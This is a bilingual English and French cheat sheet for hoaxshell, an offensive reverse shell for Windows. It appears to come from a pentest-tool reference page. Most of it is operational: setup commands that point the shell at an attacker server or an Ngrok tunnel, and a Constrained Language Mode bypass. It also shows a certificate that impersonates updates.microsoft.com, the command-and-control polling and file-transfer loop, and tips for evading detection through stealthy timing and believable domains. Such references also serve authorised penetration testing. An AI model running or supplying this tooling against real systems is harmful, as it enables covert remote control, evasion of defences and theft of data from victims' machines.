hoaxshell

Reverse shell HTTP/S pour Windows qui échappe à la détection traditionnelle. Utilise des requêtes HTTP chunked pour fondre le trafic de command-and-control dans du trafic web normal. HTTP/S-based reverse shell for Windows that evades traditional detection. Uses chunked HTTP requests to blend command-and-control traffic into normal web traffic.

↗ https://github.com/t3l3machus/hoaxshell

Overview

hoaxshell is a Windows reverse shell that uses HTTP/HTTPS chunked transfer encoding to disguise C2 traffic as normal web browsing. It generates PowerShell payloads that periodically poll the server for commands and return output, blending into HTTP traffic rather than using obvious TCP shells.

Installation

git clone https://github.com/t3l3machus/hoaxshell
cd hoaxshell
pip3 install -r requirements.txt

Basic Usage

HTTP mode (plaintext)

python3 hoaxshell.py -s 10.10.10.50

HTTPS mode (encrypted, with a self-signed cert)

python3 hoaxshell.py -s 10.10.10.50 -c /path/to/cert.pem -k /path/to/key.pem

Specify port

python3 hoaxshell.py -s 10.10.10.50 -p 8080

Use Ngrok for firewall bypass

python3 hoaxshell.py -s abc123.ngrok.io -p 443 -ng

Payload Types

# hoaxshell generates payloads automatically when started:
# [+] Generating payload...

HTTP payload (PowerShell - no exec policy bypass):

powershell -e <base64>

HTTPS payload (trusted certificate):

powershell -e <base64>

Constrained Language Mode bypass variant: Generated automatically when -cm flag is used

python3 hoaxshell.py -s 10.10.10.50 -cm

Generating SSL Certificates

Self-signed cert for HTTPS mode

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes \
  -subj "/C=US/ST=CA/O=Corp/CN=updates.microsoft.com"
python3 hoaxshell.py -s 10.10.10.50 -c cert.pem -k key.pem

How It Works

Target (Windows):
  PowerShell script runs in background
  Every N seconds: HTTP GET to /get-cmd  → receive command
  After execution: HTTP POST to /post-res → send output

Attacker:
  hoaxshell.py listens for HTTP connections
  Queues commands, receives output
  Looks like normal web traffic (chunked transfer encoding)

Session Management

# After connection:
# hoaxshell> whoami
# hoaxshell> ipconfig
# hoaxshell> systeminfo

# Upload a file
# hoaxshell> upload /local/path/tool.exe C:\Users\user\tool.exe

# Download a file
# hoaxshell> download C:\Users\user\document.txt /local/output/

Tips

  • HTTPS mode significantly improves evasion vs plain HTTP (traffic is encrypted)
  • Use a believable domain or Ngrok URL for the callback address
  • Combine with Villain for multi-session management
  • The polling interval (default: 0.8s) can be tuned to be less frequent for stealth
  • Payload execution policy bypass is needed on default Windows installs
Help / Man page
hoaxshell.py [options]

-s HOST       Your server hostname/IP (for payload generation)
-p PORT       Listen port (default: 8080)
-c CERT       SSL certificate file (.pem)
-k KEY        SSL private key file (.pem)
-cm           Constrained Language Mode bypass variant
-ng           Ngrok mode (use ngrok URL as callback)
-gr           Generate raw (no base64) payload
-v            Verbose output

Vue d’ensemble

hoaxshell est un reverse shell Windows qui utilise l’encodage de transfert chunked HTTP/HTTPS pour déguiser le trafic C2 en navigation web normale. Il génère des payloads PowerShell qui interrogent périodiquement le serveur pour des commandes et renvoient la sortie, se fondant dans le trafic HTTP plutôt que d’utiliser des shells TCP évidents.

Installation

git clone https://github.com/t3l3machus/hoaxshell
cd hoaxshell
pip3 install -r requirements.txt

Utilisation de base

# Mode HTTP (en clair)
python3 hoaxshell.py -s 10.10.10.50

# Mode HTTPS (chiffré, avec un certificat auto-signé)
python3 hoaxshell.py -s 10.10.10.50 -c /path/to/cert.pem -k /path/to/key.pem

# Spécifier le port
python3 hoaxshell.py -s 10.10.10.50 -p 8080

# Utiliser Ngrok pour contourner un pare-feu
python3 hoaxshell.py -s abc123.ngrok.io -p 443 -ng

Types de payload

# hoaxshell génère les payloads automatiquement au démarrage :
# [+] Generating payload...

Payload HTTP (PowerShell, sans contournement de la politique d’exécution) :

powershell -e <base64>

Payload HTTPS (certificat de confiance) :

powershell -e <base64>

Variante de contournement du Constrained Language Mode : générée automatiquement quand le flag -cm est utilisé

python3 hoaxshell.py -s 10.10.10.50 -cm

Générer des certificats SSL

Certificat auto-signé pour le mode HTTPS

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes \
  -subj "/C=US/ST=CA/O=Corp/CN=updates.microsoft.com"
python3 hoaxshell.py -s 10.10.10.50 -c cert.pem -k key.pem

Fonctionnement

Cible (Windows) :
  Le script PowerShell tourne en arrière-plan
  Toutes les N secondes : HTTP GET vers /get-cmd → reçoit une commande
  Après exécution : HTTP POST vers /post-res → envoie la sortie

Attaquant :
  hoaxshell.py écoute les connexions HTTP
  Met les commandes en file d'attente, reçoit la sortie
  Ressemble à du trafic web normal (encodage de transfert chunked)

Gestion de session

# Après connexion :
# hoaxshell> whoami
# hoaxshell> ipconfig
# hoaxshell> systeminfo

# Uploader un fichier
# hoaxshell> upload /local/path/tool.exe C:\Users\user\tool.exe

# Télécharger un fichier
# hoaxshell> download C:\Users\user\document.txt /local/output/

Conseils

  • Le mode HTTPS améliore significativement l’évasion par rapport au HTTP simple (le trafic est chiffré)
  • Utilisez un domaine crédible ou une URL Ngrok pour l’adresse de callback
  • Combinez avec Villain pour une gestion multi-session
  • L’intervalle de polling (par défaut : 0.8s) peut être ajusté pour être moins fréquent, pour plus de discrétion
  • Le contournement de la politique d’exécution du payload est nécessaire sur les installations Windows par défaut
Aide / Page de manuel
hoaxshell.py [options]

-s HOST       Your server hostname/IP (for payload generation)
-p PORT       Listen port (default: 8080)
-c CERT       SSL certificate file (.pem)
-k KEY        SSL private key file (.pem)
-cm           Constrained Language Mode bypass variant
-ng           Ngrok mode (use ngrok URL as callback)
-gr           Generate raw (no base64) payload
-v            Verbose output